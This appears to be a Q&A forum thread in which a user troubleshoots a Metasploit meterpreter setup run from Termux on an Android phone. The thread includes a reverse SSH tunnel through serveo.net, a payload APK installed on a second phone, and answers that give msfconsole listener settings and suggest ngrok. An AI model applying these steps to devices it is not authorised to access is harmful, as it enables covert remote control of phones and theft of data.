0

Device with termux: LG g8, android 9. Using my phone data not Wi-Fi.

I've installed metasploit on my phone using termux and i found a tutorial online on how to use metasploit. Step 1 in tutorial was port forwarding. The tutorial used the command "ssh -R 4564:localhost:4564 serveo.net" I tried using the same ports but ran into an error. I replaced port 4564 with a random port, port 1122. "ssh -R 1122:localhost:1122 serveo.net"

Is this how ports work? If not then what was i supposed to put for the port?

I ran through the rest of the tutorial successfully but after i installed and opened the payload on my other phone (connected to my hotspot) the meterpreter didn't pop up and no sessions activated. What did i do wrong, was it the ports? Does it only work with root?

Here's the site https://null-byte.wonderhowto.com/forum/to-hack-android-device-with-termux-android-part-1-over-internet-ultimate-guide-0187005/

2 Answers2

0

In metasploit (msfconsole) You have to use your localhost and that port .

set payload {payload}
set lhost 127.0.0.1
set lport 4564
exploit ```
use port that you forwarded
if it still not work you can use ngrok.

kcubeterm
  • 11
  • 3
0

Check everything things like lhost, lport, payloads and make sure everything things is correct. and APK (payload) must be running in target device otherwise your exploits started listening until the payload will not activating

kcubeterm
  • 11
  • 3